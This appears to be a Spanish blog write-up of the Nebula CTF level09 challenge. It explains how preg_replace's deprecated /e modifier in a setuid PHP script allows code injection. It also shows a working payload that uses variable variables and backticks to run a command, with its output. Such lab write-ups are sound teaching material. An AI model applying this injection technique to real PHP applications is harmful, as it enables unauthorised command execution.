Pages

viernes, 20 de julio de 2018

Nebula CTF - level09

Vamos con los preliminares:

level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09   98 2011-11-20 21:22 .
drwxr-xr-x 1 root   root     200 2012-08-27 07:18 ..
-rw-r--r-- 1 flag09 flag09   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag09 flag09  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php
-rw-r--r-- 1 flag09 flag09   675 2011-05-18 02:54 .profile
level09@nebula:/home/flag09$ ./flag09
PHP Notice:  Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13

El binario flag09 interpreta y ejecuta el script flag09.php. Lo examinamos:

<?php

function spam($email)
{
 $email = preg_replace("/\./", " dot ", $email);
 $email = preg_replace("/@/", " AT ", $email);
 
 return $email;
}

function markup($filename, $use_me)
{
 $contents = file_get_contents($filename);

 $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
 $contents = preg_replace("/\[/", "<", $contents);
 $contents = preg_replace("/\]/", ">", $contents);

 return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Dentro de la función preg_replace() observamos un modificador /e sospechoso, toda vez que su estado actual según la documentación oficial de PHP es obsoleto (deprecated). Pongamos por ejemplo que creamos un archivo con el siguiente contenido:

[email test]

El segundo término, en este caso test, será sustituido en el segundo argumento de la función preg_replace(), obteniendo:

spam("test")

El peligro del modificador /e se produce porque esta sentencia se evaluará como código PHP, en vez de ser devuelta como un string final. Esto nos permite injectar código y crear una expresión válida para explotar el programa. Desgraciadamente, si probamos algo como:

[email `/bin/getflag`]

Esto no funcionará debido a las comillas internas de la función spam(), además PHP también filtra las comillas dobles y escapa las simples, de modo que debemos buscar una alternativa. Esta pasa por hacer uso de variables dinámicas o variables variables como algunos las conocen. Considera la siguiente situación:

<?php
    $flag08 = "/home/flag08";
    $flag09 = "/home/flag09";

    $dir = "flag08";
    echo("${$dir}\n");
    $dir = "flag09";
    echo("${$dir}\n");
?>

El resultado es:

/home/flag08
/home/flag09

A pesar de que la expresion ${$dir} se encuentra entrecomillada, la variable interna siempre se resuelve, obteniendo ${flag08} en el primer caso. Esto nos permite obtener ventaja y ejecutar comandos arbitrarios:

level09@nebula:/home/flag09$ cat /tmp/injection
[email ${`/bin/getflag`}]
level09@nebula:/home/flag09$ ./flag09 /tmp/injection pwned
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account
 in /home/flag09/flag09.php(15) : regexp code on line 1

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...